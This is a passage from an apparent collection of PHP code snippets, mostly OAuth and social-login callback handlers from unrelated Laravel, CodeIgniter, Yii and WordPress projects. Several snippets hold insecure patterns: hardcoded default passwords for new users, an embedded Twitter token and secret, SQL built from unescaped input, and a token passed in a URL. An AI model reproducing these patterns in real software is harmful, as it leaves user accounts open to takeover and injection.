'access_token=', '', $response );\n }\n else\n $this->err = \"Something went wrong\";\n }", "public function handleProviderCallback()\n {\n\t\t$random_pswd = str_random(10);\n \t$user = Socialite::driver('naver')->user();\n\t\t\n\t\t$user = User::where('email',$user['email'])->first();\n\t\t\n\t\tif($user == NULL){\n\t\t\t$user_cnt = 0;\n\t\t}else{\n\t\t\t$user_cnt = $user->count();\n\t\t}\n\t\t\n\t\t\n\t\tif($user_cnt > 0){\n\t\t\t\n\t\t\tif($user->register_kind != 'naver'){\n\t\t\t\treturn redirect()->route('login')->with('jsAlert','이미 가입이 되어 있는 메일주소 입니다. ');\n\t\t\t}\n\t\t}else{\n\t\t\t$user = User::firstOrCreate([\n\t\t\t\t'name' => $user['name'],\n\t\t\t\t'email' => $user['email'],\n\t\t\t\t'password' => $random_pswd, \n\t\t\t\t'nickname' => $user['nickname'],\n\t\t\t\t'register_kind' => 'naver', \n\t\t\t]);\t\n\t\t}\n\t\t\n\t\t$address_cnt = Address::where('user_email',$user->email)->count();\n\t\tif($address_cnt == 0){\n\t\t\t$getnewaddress_tlc = EthApi::newAddress($user->email);\n\t\t\t\n\t\t\tAddress::create([\n\t\t\t\t'user_id' => $user->id,\n\t\t\t\t'user_email' => $user->email,\n\t\t\t\t'address_tlc' => $getnewaddress_tlc\n\t\t\t]);\n\t\t}\n\n auth()->login($user, true);\n\n return redirect(route('home'));\n }", "public function twitter_connect() {\n $profile = $this->params['profile'];\n $merchant_id = $this->params['merchant_id'];\n $account_dbobj = $this->params['account_dbobj'];\n\n $twitter_user = new TwitterUser($account_dbobj);\n $twitter_user->findOne('id='.$merchant_id);\n $twitter_user->setProfileImageUrl($profile['profile_image_url']);\n $twitter_user->setUrl($profile['url']);\n $twitter_user->setLocation($profile['location']);\n $twitter_user->setName($profile['name']);\n $twitter_user->setScreenName($profile['screen_name']);\n $twitter_user->setId($profile['id']);\n $twitter_user->save();\n\n $merchant = new Merchant($account_dbobj);\n BaseMapper::saveAssociation($merchant, $twitter_user, $account_dbobj);\n\n $this->status = 0;\n }", "public function redirectToTwitter()\n\t{\n\t return Socialize::with('twitter')->redirect();\n\t}", "protected function check_login()\n\t{\n\t\tif (isset($_GET['oauth_token']))\n\t\t{\n\n $this->handle_callback();\n\n\t\t\t$tokens = $this->get_access_token();\n\n if ( ! empty($tokens['access_key']) && ! empty($tokens['oauth_token'] ) )\n\t\t\t{\n\n $this->set_shard_id( $tokens['shard_id'] );\n $this->set_evernote_user_id( $tokens['evernote_user_id'] );\n $this->set_expires( $tokens['expires'] );\n\t\t\t}\n\n\t\t\t\\Response::redirect(\\Uri::current());\n\t\t\treturn null;\n\t\t}\n\n\t}", "public function handleCallback()\n {\n try {\n \n $user = Socialite::driver('google')->user();\n \n //$finduser = User::where('email', $user->email)->first();\n $finduser = crmUser::where('email', $user->email)->first();\n \n if($finduser){\n //dd($finduser->createToken('Auth Token'));\n $token = $finduser->createToken('Auth Token')->plainTextToken;\n //Auth::login($finduser);\n //dd($token);\n return redirect('/v/login?token='.$token);\n \n }else{\n\n $newUser = crmUser::create([\n 'name' => $user->name,\n 'email' => $user->email,\n 'social_id'=> $user->id,\n 'social_type'=> 'google',\n 'profile_photo_url'=> $user->avatar,\n 'password' => Hash::make('ctie2021!')\n ]);\n \n Auth::login($newUser);\n \n return redirect('/v/');\n }\n \n } catch (Exception $e) {\n dd($e);\n dd($e->getMessage());\n }\n }", "public function handle_response () {\n // callback URL: https://{service}.e-com.plus/session/sso_login\n // call this function on route specified above\n if (isset($_GET['sso']) && isset($_GET['sig'])) {\n // get user object\n return $this->user_info($_GET['sso'], $_GET['sig']);\n } else {\n // invalid URL query string\n return null;\n }\n }", "public function callback() {\n // Get a handle of the Auth0 service (we don't know if it has an alias)\n $service = \\App::make('auth0');\n\n // Try to get the user informatio\n $auth0User = $service->getUserInfo();\n if ($auth0User) {\n // If we have, we are going to log him in, buut, if\n // there is an onLogin defined we need to allow the Laravel developer\n // to implement the user as he wants an also let him store it\n if ($service->hasOnLogin()) {\n $user = $service->callOnLogin($auth0User);\n } else {\n // If not, the user will be fine\n $user = $auth0User;\n }\n \\Auth::login($user);\n }\n return \\Redirect::intended('/');\n }", "function ds_callback(): void\n {\n # Save the redirect eg if present\n $redirectUrl = false;\n if (isset($_SESSION['eg'])) {\n $redirectUrl = $_SESSION['eg'];\n }\n # reset the session\n $this->ds_logout_internal();\n $this->authService->authCallback($redirectUrl);\n }", "protected function verify_credentials() {\r\n\r\n\t\t$this->tmhOAuth->config['user_token']\t= $this->conf->TwitterOAuthToken;\r\n\t\t$this->tmhOAuth->config['user_secret']\t= $this->conf->TwitterOAuthSecret;\r\n\r\n\t\t$code = $this->tmhOAuth->request(\r\n\t\t\t'GET', $this->tmhOAuth->url('1.1/account/verify_credentials')\r\n\t\t);\r\n\r\n\t\t// print_r($this->tmhOAuth->response);\r\n\r\n\t\tif ($code == 200) {\r\n\t\t\t$resp = json_decode($this->tmhOAuth->response['response']);\r\n\t\t\t$this->addMsg(\r\n\t\t\t\t'<p>Authourised as ' . $resp->screen_name . '</p>' .\r\n\t\t\t\t'<p>The access level of this token is: ' . $this->tmhOAuth->response['headers']['x-access-level'] . '</p>'\r\n\t\t\t);\r\n\t\t} else {\r\n\t\t\t$this->addError();\r\n\t\t}\r\n\t}", "public function handleProviderCallback($provider)\n {\n $this->setCallbackUrl($provider);\n $guard = $this->getGuard();\n $user = Socialite::driver($provider)->user();\n $model = $this->getAuthModel();\n $data = [\n 'name' => $user->getName(),\n 'email' => $user->getEmail(),\n 'status' => 'Active',\n 'password' => bcrypt(Str::random(8)),\n 'api_token' => Str::random(60),\n ];\n $user = $model::whereEmail($data['email'])->first();\n\n if (!is_null($user)) {\n app('auth')->login($user, false, $guard);\n } else {\n $user = $model::create($data);\n app('auth')->login($user, false, $guard);\n }\n\n return redirect()->intented($this->redirectTo);\n }", "public function callback()\n {\n\n \ttry {\n\n\t\t \t$facebookUser = Socialite::driver('facebook')->user();\n $existUser = User::where('email',$facebookUser->email)->first();\n\n \t\tif($existUser) {\n Auth::loginUsingId($existUser->id);\n } else {\n $user = new User;\n $user->name = $facebookUser->name;\n $user->email = $facebookUser->email;\n $user->avatar = $facebookUser->avatar;\n\t\t\t\t\n $user->email_verified_at = date('Y-m-d H:i:s');\n\t\t\t\t\n $user->social_login_token = $facebookUser->token;\n $user->social_login_id = $facebookUser->id;\n $user->social_login_type = 'facebook';\n $user->user_type = 4;\n $user->password = \\Hash::make('12345678');\n $user->save();\n Auth::loginUsingId($user->id);\n }\n return redirect()->to('/home');\n \t\t\n \t} catch (Exception $e) {\n \t\techo $e; \n \t}\n }", "public function addTwitterAccount()\r\n {\r\n \r\n $now = date('Y-m-d');\r\n $data = array(\r\n 'consumer_key' => $this->input->post('consumer_key'),\r\n 'consumer_secret' => $this->input->post('consumer_secret'),\r\n 'access_token' => $this->input->post('access_token'),\r\n 'access_token_secret' => $this->input->post('access_token_secret'),\r\n 'created_by' => $_SESSION['iduser'],\r\n 'name' => $this->input->post('name'),\r\n 'picture_url' => $this->input->post('picture_url'),\r\n 'banner_url' => $this->input->post('banner_url'),\r\n 'follower_count' => $this->input->post('follower_count'),\r\n 'following_count' => $this->input->post('following_count'),\r\n 'tweet_count' => $this->input->post('tweet_count'),\r\n 'screen_name' => $this->input->post('screen_name'),\r\n 'created_date' => $now,\r\n );\r\n $this->user_model->addTwAcc($data);\r\n\r\n $now = date('Y-m-d');\r\n $month = date('m');\r\n $file = array(\r\n 'activity_type' => 'Create_Account',\r\n 'activity_name' => $this->input->post('screen_name'),\r\n 'activity_date' => $now,\r\n 'month' => $month,\r\n 'user_id' => $_SESSION['iduser'],\r\n );\r\n $this->load->model('Log_model');\r\n $this->Log_model->Create_account($file);\r\n\r\n\r\n redirect('Social_account');\r\n }", "public function oauth2callback(){\n // CakeLog::write(LOG_DEBUG, __CLASS__ . '.' . __FUNCTION__ . '(), just entered');\n if (array_key_exists('code', $_GET) && !empty($_GET['code'])){\n $code = $_GET['code'];\n $url = $this->strategy['access_token_url'];\n $params = array(\n 'code' => $code,\n 'client_id' => $this->strategy['client_id'],\n 'client_secret' => $this->strategy['client_secret'],\n 'redirect_uri' => $this->strategy['redirect_uri'],\n 'grant_type' => 'authorization_code'\n );\n\n set_error_handler(array($this, \"serverPostHandler\"), E_WARNING);\n $response = $this->serverPost($url, $params, null, $headers);\n restore_error_handler();\n //CakeLog::write(LOG_DEBUG, __CLASS__ . '.' . __FUNCTION__ . '(), response serverPost:' . print_r($response, true));\n\n $results = json_decode($response);\n\n //CakeLog::write(LOG_DEBUG, __CLASS__ . '.' . __FUNCTION__ . '(), results from json_decode(response):' . print_r($results, true));\n\n if (!empty($results) && !empty($results->access_token)){\n //CakeLog::write(LOG_DEBUG, __CLASS__ . '.' . __FUNCTION__ . '(), !empty($results) && !empty($results->access_token)');\n CakeSession::write('OPAUTH_ACCESS_TOKEN', $results->access_token);\n $userinfo = $this->userinfo($results->access_token);\n //CakeLog::write(LOG_DEBUG, __CLASS__ . '.' . __FUNCTION__ . '(), userinfo:' . print_r($userinfo, true));\n\n $this->auth = array(\n 'uid' => $userinfo['id'],\n 'info' => array(),\n 'credentials' => array(\n 'token' => $results->access_token,\n 'expires' => date('c', time() + $results->expires_in)\n ),\n 'raw' => $userinfo\n );\n\n if (!empty($results->refresh_token))\n {\n $this->auth['credentials']['refresh_token'] = $results->refresh_token;\n }\n\n $this->callback();\n }\n else{\n $error = array(\n 'code' => 'access_token_error',\n 'message' => 'Failed when attempting to obtain access token',\n 'raw' => array(\n 'response' => $response,\n 'headers' => $headers\n )\n );\n\n $this->errorCallback($error);\n }\n }\n else{\n $error = array(\n 'code' => 'oauth2callback_error',\n 'raw' => $_GET\n );\n\n $this->errorCallback($error);\n }\n //CakeLog::write(LOG_DEBUG, __CLASS__ . '.' . __FUNCTION__ . '(), done');\n }", "public function Callback($oAuthTokenFromRequest){\n\t\tif($oAuthTokenFromRequest !== $this->getOAuthRequestToken()){\n\t\t\t//$_SESSION['oauth_status'] = 'oldtoken';\n \t\t\t//header('Location: ./clearsessions.php');\n \t\t\t\n\t\t\t$this->load->helper('file');\n\t\t\t$data = \"If the oauth_token is old redirect to the connect page\" . \"\\r\\n\";\n\t\t\t$data .= \"\\r\\n\\r\\n\\r\\n\";\n\t\t\twrite_file(\"twitter.txt\", $data, \"a\");\n\t\t\t\n \t\t\techo \"old ouauth_token\";\n \t\t\texit;\t\n\t\t}\n\n\t\t/* Create TwitteroAuth object with app key/secret and token key/secret from default phase */\n\t\t$twitterOAuth = new TwitterOAuth($this->consumerKey, $this->consumerSecret, $this->getOAuthRequestToken(), $this->getOAuthRequestTokenSecret());\n\n\t\t/* Request access tokens from twitter */\n\t\t$accessToken = $twitterOAuth->getAccessToken();\t\t\n\t\t$this->saveAccessTokenDataToSession($accessToken);\n\t\t$this->deleteRequestTokenDataFromSession();\n\t\t\n\t\t$isOk = false;\n\t\t/* If HTTP response is 200 continue otherwise send to connect page to retry */\n\t\tswitch ($twitterOAuth->http_code) {\n\t\t case 200:\n\t\t $isOk = true;\n\t\t break;\n\t\t default:\n\t\t $isOk = false;\n\t\t break;\n\t\t}\n\t\t\n\t\treturn $isOk;\n\t}", "function _dumy(){\n\t\tif(empty($_SESSION['access_token']) || empty($_SESSION['access_token']['oauth_token']) || empty($_SESSION['access_token']['oauth_token_secret'])) {\n\t\t\theader('Location: ./clearsessions.php');\n\t\t}\n\t\t/* Get user access tokens out of the session. */\n\t\t$access_token = $_SESSION['access_token'];\n\n\t\t/* Create a TwitterOauth object with consumer/user tokens. */\n\t\t$connection = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET, $access_token['oauth_token'], $access_token['oauth_token_secret']);\n\n\t\t/* If method is set change API call made. Test is called by default. */\n\t\t$content = $connection->get('account/verify_credentials');\n\n\t}", "public function processTweetsAction()\n {\n try {\n $url = $_SERVER['HTTP_REFERER'];\n $customer = Mage::getSingleton('customer/session')->getCustomer();\n\n if (!Mage::getSingleton('customer/session')->isLoggedIn()) {\n throw new Exception($this->__(\"You must be logged in for us to reward you for tweeting.\"), 110);\n }\n\n $tweet = Mage::getModel('rewardssocial/twitter_tweet');\n\n if ($tweet->hasAlreadyTweetedUrl($customer, $url)) {\n throw new Exception($this->__(\"You've already tweeted about this page.\"), 120);\n }\n\n $minimumWait = $tweet->getTimeUntilNextTweetAllowed($customer);\n if($minimumWait > 0) {\n throw new Exception($this->__(\"Please wait %s second(s) before tweeting another page if you want to be rewarded.\", $minimumWait), 130);\n }\n\n if ($tweet->isMaxDailyTweetsReached($customer)) {\n $maxTweets = $this->_getMaxTweetsPerDay($customer);\n throw new Exception($this->__(\"You've reached the tweet-rewards limit for today (%s tweets per day)\", $maxTweets), 140);\n }\n\n $tweet->setCustomerId($customer->getId())\n ->setUrl($url)\n ->save();\n\n if (!$tweet->getId()) {\n throw new Exception($this->__(\"TWEET model was not saved for some reason.\"), 10);\n }\n\n $validatorModel = Mage::getModel('rewardssocial/twitter_tweet_validator');\n $validatorModel->initReward($customer->getId(), $url);\n\n $message = $this->__(\"Thanks for tweeting this page!\");\n $predictedPoints = $validatorModel->getPredictedTwitterTweetPoints();\n if (count($predictedPoints) > 0) {\n $pointsString = (string) Mage::getModel('rewards/points')->set($predictedPoints);\n $message = $this->__(\"You've earned <b>%s</b> for tweeting!\", $pointsString);\n }\n\n $this->_jsonSuccess(array(\n 'success' => true,\n 'message' => $message\n ));\n } catch (Exception $ex) {\n // log the exception\n Mage::helper('rewards')->logException(\"There was a problem rewarding customer {$customer->getEmail()} (ID: {$customer->getId()}) for tweeting about a page ({$url}): \".\n $ex->getMessage());\n\n $message = $this->__('There was a problem trying to reward you for tweeting about this page.<br/>Try again and contact us if you still encounter this issue.');\n if ($ex->getCode() > 100) {\n $message = $ex->getMessage();\n }\n\n $this->_jsonError(array(\n 'success' => false,\n 'message' => $message\n ));\n }\n\n return $this;\n }", "public function redirectToTwitter()\n {\n return Socialite::driver('twitter')->redirect();\n }", "public function redirectToTwitter() {\n return Socialite::driver('twitter')->redirect();\n }", "public function callback()\n\t{\n\t\t$this->consumer = Consumer::make($this->config);\n\n\t\t// Load the provider\n\t\t$this->provider = Provider::make($this->provider);\n\t\t\n\t\tif ($token = \\Cookie::get('oauth_token'))\n\t\t{\n\t\t\t// Get the token from storage\n\t\t\t$this->token = unserialize(base64_decode($token));\n\t\t}\n\t\t\t\n\t\tif ($this->token and $this->token->access_token !== \\Input::get('oauth_token'))\n\t\t{ \n\t\t\t// Delete the token, it is not valid\n\t\t\t\\Cookie::forget('oauth_token');\n\n\t\t\t// Send the user back to the beginning\n\t\t\tthrow new Exception('invalid token after coming back to site');\n\t\t}\n\n\t\t// Get the verifier\n\t\t$verifier = \\Input::get('oauth_verifier');\n\n\t\t// Store the verifier in the token\n\t\t$this->token->verifier($verifier);\n\n\t\t// Exchange the request token for an access token\n\t\treturn $this->provider->access_token($this->token, $this->consumer);\n\t}", "function updateTWuser($oauth_request_token = '',$oauth_request_token_secret = '',$twitter_userid = '',$username='')\n\t{\n \n\t\tif($_SESSION[\"userrole\"] == 1)\n\t\t{ \n\t\t\t\t$userid = $_SESSION[\"userid\"];\n\t\t\t\t$image_path = \"http://a1.twimg.com/sticky/default_profile_images/default_profile_2_normal.png\";\n\t\t\t\t$oauth_request_token = htmlentities($oauth_request_token, ENT_QUOTES);\n\t\t\t\t$oauth_request_token_secret = htmlentities($oauth_request_token_secret, ENT_QUOTES);\n\t\t\t\t\n\t\t\t\t$check_account_exist = mysql_query(\"select * from social_account where account_user_id = '$twitter_userid' \");\n\t\t\t\t\n\t\t\t\tif(mysql_num_rows($check_account_exist) == 0)\n\t\t\t\t{\n\t\t\t\t\t$update_users_fb = mysql_query(\"insert into social_account(first_name,image_url,account_user_id,access_token,access_token_secret,userid,type)values('$username','$image_path','$twitter_userid','$oauth_request_token','$oauth_request_token_secret','$userid','2')\");\n\t\t\t\t\t$_SESSION[\"mes\"] = \"Twitter account has been added\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$_SESSION[\"emes\"] = \"Twitter account already exist\";\n\t\t\t\t}\n\t\t}\n\t\treturn;\n\n\t}", "public function callBack($provider)\n\t{\n\t\ttry {\n\n\t\t\t// $userSocial\t= Socialite::driver($provider)->stateless()->user();\n\t\t\t$userSocial\t= Socialite::driver($provider)->user();\n\n\t\t\t$user\t\t= User::where(['email' => $userSocial->getEmail()])->first();\n\n\t\t\tif($user){\n\n\t\t\t\tif ($user->is_active == 1) {\n\n\t\t\t\t\t// If User is active redirect to home page.\n\t\t\t\t\tAuth::guard('web')->login($user);\n\t\t\t\t\tUserInfo::where('user_id',$user->id)->update([\n\t\t\t\t\t\t$provider.'_id'\t=> $userSocial->getId(),\n\t\t\t\t\t]);\n\n\t\t\t\t\t$user->update([\n\t\t\t\t\t\t'last_login'\t\t=> Carbon::now()->toDateTimeString(),\n\t\t\t\t\t\t'last_login_type'\t=> ucfirst($provider)\n\t\t\t\t\t]);\n\t\t\t\t\treturn redirect()->route('home');\n\t\t\t\t} else {\n\t\t\t\t\t\n\t\t\t\t\t// If User is inactive\n\t\t\t\t\treturn redirect()->route('login')\n\t\t\t\t\t->with('incorrect' , 'Your account is inactive');\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}else{\n\n\t\t\t\t$user = User::create([\n\t\t\t\t\t'first_name' \t=> $userSocial->getName(),\n\t\t\t\t\t'email' \t=> $userSocial->getEmail(),\n\t\t\t\t\t'password'\t\t\t=> '',\n\t\t\t\t\t'last_login'\t\t=> Carbon::now()->toDateTimeString(),\n\t\t\t\t\t'last_login_type'\t=> ucfirst($provider)\n\t\t\t\t]);\n\n\t\t\t\t$userInfo = [\n\t\t\t\t\t'user_id'\t\t=>\t$user->id,\n\t\t\t\t\t$provider.'_id'\t=>\t$userSocial->getId(),\n\t\t\t\t];\n\t\t\t\tUserInfo::storeUserInfo($userInfo);\n\n\t\t\t\tAuth::guard('web')->login($user);\n\t\t\t\treturn redirect()->route('home');\n\t\t\t}\n\n\t\t} catch (Exception $exception) {\n\n\t\t\t\\Log::debug($exception);\n\n\t\t\treturn redirect()->route('login')\n\t\t\t->with('incorrect' , 'Something went wrong! Please contact administrator.');\n\t\t}\n\t}", "public function handleProviderCallback($provider)\n {\n $user = Socialite::driver($provider)->user();\n\n \t$authUser = User::firstOrNew(['email'=>$user->email]);\n $authUser -> name = ($user -> name == null) ? $user -> nickname : $user -> name;\n $authUser -> provider_id = $user -> id;\n $authUser -> provider = $provider;\n $authUser -> save();\n\n Auth::guest() ? auth()->login($authUser) : '';\n\n session(['user' => $user]);\n\n return redirect('/home');\n }", "public function handleProviderCallback()\n {\n LinkedInConnect::tokenFromCallback();\n return redirect('/');\n }", "public function redirect()\n {\n $token = 'fMFqRVTKyA1LwCTFQR1VESfug';\n $secret = 'YQCtWeMkab5UB3AALwOeLSQAGs4eq6DHkOHi6gbiYqoAdGbbPz';\n $user = Socialite::driver('twitter')->userFromTokenAndSecret($token, $secret);\n return $user;\n }", "function confirm_oauth($oauth_token, $oauth_verifier) {\n\t\t\t$consumer_key = $this->options['consumer_key'];\n\t\t\t$consumer_secret = $this->options['consumer_secret'];\n\n\t\t\t// for security reason, we assign the sessions to local variable and quickly unset them\n\t\t\tsession_start();\n\t\t\t$old_oauth_token = $_SESSION['oauth_token'];\n\t\t\t$old_oauth_token_secret = $_SESSION['oauth_token_secret'];\n\t\t\tunset($_SESSION['oauth_token']);\n\t\t\tunset($_SESSION['oauth_token_secret']);\n\t\t\tsession_destroy();\n\t\t\tif ($old_oauth_token == $oauth_token) {\n\t\t\t\t// create OAuth object from previous request\n\t\t\t\t$connection = $this->create_twitter_connection($consumer_key, $consumer_secret, $old_oauth_token, $old_oauth_token_secret);\n\n\t\t\t\t// request access tokens\n\t\t\t\t$access_token = $connection->getAccessToken($oauth_verifier);\n\t\t\t\tif (isset($access_token)) {\n\t\t\t\t\t// we successfully create OAuth connection to Twitter, populate all options then save it\n\t\t\t\t\t$this->options['user_id'] = $access_token['user_id'];\n\t\t\t\t\t$this->options['screen_name'] = $access_token['screen_name'];\n\t\t\t\t\t$this->options['consumer_key'] = $consumer_key;\n\t\t\t\t\t$this->options['consumer_secret'] = $consumer_secret;\n\t\t\t\t\t$this->options['access_token'] = $access_token['oauth_token'];\n\t\t\t\t\t$this->options['access_token_secret'] = $access_token['oauth_token_secret'];\n\n\t\t\t\t\t// save the options\n\t\t\t\t\t$this->save_options();\n\n\t\t\t\t\t// just to get the Setting saved message, by right this is not necessary\n\t\t\t\t\twp_redirect($this->plugin_file_url.'&updated=true');\n\t\t\t\t\texit;\n\t\t\t\t} else {\n\t\t\t\t\t// TODO: report user with error message\n\t\t\t\t\t// request access token failed, remove the temporally consumer key and consumer secret in database\n\t\t\t\t\t$this->disconnect_twitter();\n\t\t\t\t\twp_redirect($this->plugin_file_url);\n\t\t\t\t\texit;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// TODO: report user with error message\n\t\t\t\t// session expired, remove the temporally consumer key and consumer secret we set just now\n\t\t\t\t$this->disconnect_twitter();\n\t\t\t}\n\t\t}", "public function twofactor() \n {\n UserModel::authentication();\n\n //get the user\n $user = UserModel::user();\n\n //include the library\n require Config::get('PATH_LIBS') . 'GoogleAuthenticator.php';\n \n //iniate the class\n $ga = new PHPGangsta_GoogleAuthenticator();\n \n //get the user's secret key\n $secret = SecurityModel::twofackey($user);\n\n\t\t$this->View->RenderPage_sidebar('security/twofactor', array('secret' => $secret, 'user' => $user, 'ga' => $ga));\n\t}", "public function handleProviderCallback()\n {\n try {\n $user = Socialite::driver('linkedin')->user();\n } catch (Exception $e) {\n return Redirect::to('socialite/linkedin');\n }\n\n $authUser = User::findOrCreateUser($user);\n\n Auth::login($authUser, true);\n\n return redirect('/');\n }", "public function handleProviderCallback()\n {\n $user = Socialite::driver('facebook')->user();\n\n $findUser = User::where('email', $user->email)->first();\n\n if($findUser)\n {\n Auth::login($findUser);\n $findUser->is_email_verified = 1;\n $findUser->save();\n return redirect()->route('show-price');\n }\n else{\n $firstName = explode(\" \", $user->name);\n $saveData = new User;\n $saveData->name = $firstName[0];\n $saveData->email = $user->email;\n $saveData->password = bcrypt(123456789);\n $saveData->is_email_verified = 1;\n $saveData->save();\n Auth::login($saveData);\n return redirect()->route('show-price');\n }\n }", "public function actionLogin($provider_name=null)\n\t{\n\t\t// If already logged in, redirect to home URL\n\t\tif(!Yii::app()->user->isGuest) $this->redirect(Yii::app()->homeUrl);\n\t\t\n\t\tif($provider_name)\n\t\t{\n\t\t\t$config = Yii::app()->request->baseUrl . 'hybridauth/config.php';\n\t\t\trequire_once( Yii::app()->request->baseUrl . 'hybridauth/Hybrid/Auth.php' );\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\t// create an instance for Hybridauth with the configuration file path as parameter\n\t\t\t\t$hybridauth = new Hybrid_Auth( $config );\n\t\t\t \n\t\t\t\t// try to authenticate the user with twitter, \n\t\t\t\t// user will be redirected to Twitter for authentication, \n\t\t\t\t// if he already did, then Hybridauth will ignore this step and return an instance of the adapter\n\t\t\t\t$provider = $hybridauth->authenticate( $provider_name ); \n\t\t\t \n\t\t\t\t// get the user profile \n\t\t\t\t$provider_user_profile = $provider->getUserProfile();\n\t\t\t \n\t\t\t}\n\t\t\tcatch( Exception $e ){ \n\t\t\t\t// Display the recived error, \n\t\t\t\t// to know more please refer to Exceptions handling section on the userguide\n\t\t\t\tswitch( $e->getCode() ){ \n\t\t\t\t case 0 : echo \"Unspecified error.\"; break;\n\t\t\t\t case 1 : echo \"Hybriauth configuration error.\"; break;\n\t\t\t\t case 2 : echo \"Provider not properly configured.\"; break;\n\t\t\t\t case 3 : echo \"Unknown or disabled provider.\"; break;\n\t\t\t\t case 4 : echo \"Missing provider application credentials.\"; break;\n\t\t\t\t case 5 : echo \"Authentification failed. \" \n\t\t\t\t\t\t\t . \"The user has canceled the authentication or the provider refused the connection.\"; \n\t\t\t\t\t\t break;\n\t\t\t\t case 6 : echo \"User profile request failed. Most likely the user is not connected \"\n\t\t\t\t\t\t\t . \"to the provider and he should authenticate again.\"; \n\t\t\t\t\t\t $provider->logout(); \n\t\t\t\t\t\t break;\n\t\t\t\t case 7 : echo \"User not connected to the provider.\"; \n\t\t\t\t\t\t $provider->logout(); \n\t\t\t\t\t\t break;\n\t\t\t\t case 8 : echo \"Provider does not support this feature.\"; break;\n\t\t\t\t} \n\t\t\t \n\t\t\t\t// well, basically your should not display this to the end user, just give him a hint and move on..\n\t\t\t\t//echo \"<br /><br /><b>Original error message:</b> \" . $e->getMessage(); \n\t\t\t}\n\t\t\t\n\t\t\t// Try to find user in database matching $provider_user_profile->identifier\n\t\t\t$user = User::model()->findByAttributes(array('provider_uid'=>$provider_user_profile->identifier));\n\t\t\t// If user exists, log that user in\n\t\t\tif ($user) {\n\t\t\t\t$model=new LoginForm;\n\t\t\t\t\n\t\t\t\t// Set $model->attributes to the attributes from the database\n\t\t\t\t$model->email = $user->email;\n\t\t\t\t$model->password = $user->provider_uid;\n\t\t\t\t// FUTURE NOTE: Don't require password if provider_uid is part of the model (see the login or validate functions)\n\t\t\t\t// This might cause problems later when we implement password changing\n\t\t\t\t\n\t\t\t\t// Validate user input and redirect to the previous page if valid\n\t\t\t\tif($model->validate() && $model->login())\n\t\t\t\t\t$this->redirect(Yii::app()->user->returnUrl);\n\t\t\t}\n\t\t\t\n\t\t\t// If user doesn't exist in database, see if we can register them\n\t\t\tif ($provider_user_profile->email) {\n\t\t\t\t$model=new User('register');\n\n\t\t\t\t$model->email = $provider_user_profile->email;\n\t\t\t\t$model->pass = $model->passCompare = $provider_user_profile->identifier;\n\t\t\t\t$model->provider_uid = $provider_user_profile->identifier;\n\t\t\t\tif($model->save())\n\t\t\t\t{\n\t\t\t\t\tYii::app()->user->setFlash('success','<strong>Success!</strong> Now Topular should log you in. But it won\\'t. Cuz I haven\\'t built it.');\n\t\t\t\t} else {\n\t\t\t\t\tYii::app()->user->setFlash('error','<strong>The email associated with your ' . $provider_name . ' account already exists.</strong> Please try logging in with this email.');\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t\tYii::app()->user->setFlash('warning','<strong>You are so close!</strong> Your ' . $provider_name . ' account did not have an email associated with it. Please enter your email to finish logging in.');\n\t\t\t}\n\t\t}\n\n\t\t$model=new LoginForm;\n\t\t\t\n\t\t// if it is ajax validation request\n\t\tif(isset($_POST['ajax']) && $_POST['ajax']==='login-form')\n\t\t{\n\t\t\techo CActiveForm::validate($model);\n\t\t\tYii::app()->end();\n\t\t}\n\n\t\t// collect user input data\n\t\tif(isset($_POST['LoginForm']))\n\t\t{\n\t\t\t$model->attributes=$_POST['LoginForm'];\n\t\t\t// validate user input and redirect to the previous page if valid\n\t\t\tif($model->validate() && $model->login())\n\t\t\t\t$this->redirect(Yii::app()->user->returnUrl);\n\t\t}\n\t\t// display the login form\n\t\t$this->render('login',array('model'=>$model, 'provider'=>$provider));\n\t}", "public function handleGoogleCallback()\n {\n try {\n $user = Socialite::driver('google')->stateless()->user();\n $findUser = User::where('google_id', $user->id)->first();\n\n if ($findUser) {\n Auth::login($findUser);\n return redirect()->route('home')->with('success', 'Successfully login!');\n } else {\n $newUser = User::create([\n 'name' => $user->name,\n 'email' => $user->email,\n 'google_id' => $user->id,\n 'password' => encrypt('123456789'),\n 'avatar' => 'storage/document_logo/default_avatar.jpg',\n ]);\n Auth::login($newUser);\n return redirect()->route('home')->with('success', 'Successfully login!');\n }\n } catch (Exception $e) {\n dd($e->getMessage());\n }\n }", "public function handleProviderCallback()\n {\n $user = Socialite::driver('google')->user();\n /* \n 1) Store the user details if not exists else just redirect\n 2) if Auth is using then login using Auth::login($user)\n 3) for passport, store some standard passport for all users\n 4) For multiple socialite option, make param route and replace everywhere option is hard coded\n */\n return $user->name;\n }", "public function handleProviderCallback()\n {\n $user = Socialite::driver('github')->user();\n $registered = User::where('email', $user->email)->first();\n // dump($user->email);\n // die();\n\n if($registered){\n echo \"Auth attempt matched\";\n Auth::login($registered);\n }else{\n echo \"auth attempt not matched\";\n $row = new User;\n $row->email = $user->email;\n // $row->avatar = $user->avatar;\n $row->name = $user->name;\n $row->save();\n }\n echo Auth::user()->name;\n\n $user->token;\n dump($user);\n die();\n\n }", "function twitter_non_auth_account_form_submit($form, &$form_state) {\n $name = $form_state['values']['screen_name'];\n $twitter = twitter_connect(NULL, TRUE, TRUE);\n if (!$twitter) {\n return FALSE;\n }\n\n $twitter_account = $twitter->users_show($name, FALSE);\n if (!isset($twitter_account->id)) {\n form_set_error('screen_name', t('Could not add the Twitter account <em>@name</em>. ' .\n 'Check the recent messages log.', array('@name' => $name)));\n }\n else {\n $twitter_account->uid = $form_state['values']['uid'];\n twitter_account_save($twitter_account, FALSE);\n drupal_set_message(t('Twitter account added successfully'));\n }\n}", "function loginpage_hook() {\n global $CFG, $SESSION; \n \n if(isset($CFG->disablewordpressauth) && ($CFG->disablewordpressauth == true)) {\n return;\n }\n \n // Only authenticate against WordPress if the user has clicked on a link to a protected resource\n if(!isset($SESSION->wantsurl)) {\n return;\n }\n \n $client_key = $this->config->client_key;\n $client_secret = $this->config->client_secret;\n $wordpress_host = $this->config->wordpress_host;\n \n if( (strlen($wordpress_host) > 0) && (strlen($client_key) > 0) && (strlen($client_secret) > 0) ) {\n // kick ff the authentication process\n $connection = new BasicOAuth($client_key, $client_secret);\n \n // strip the trailing slashes from the end of the host URL to avoid any confusion (and to make the code easier to read)\n $wordpress_host = rtrim($wordpress_host, '/');\n \n $connection->host = $wordpress_host . \"/wp-json\";\n 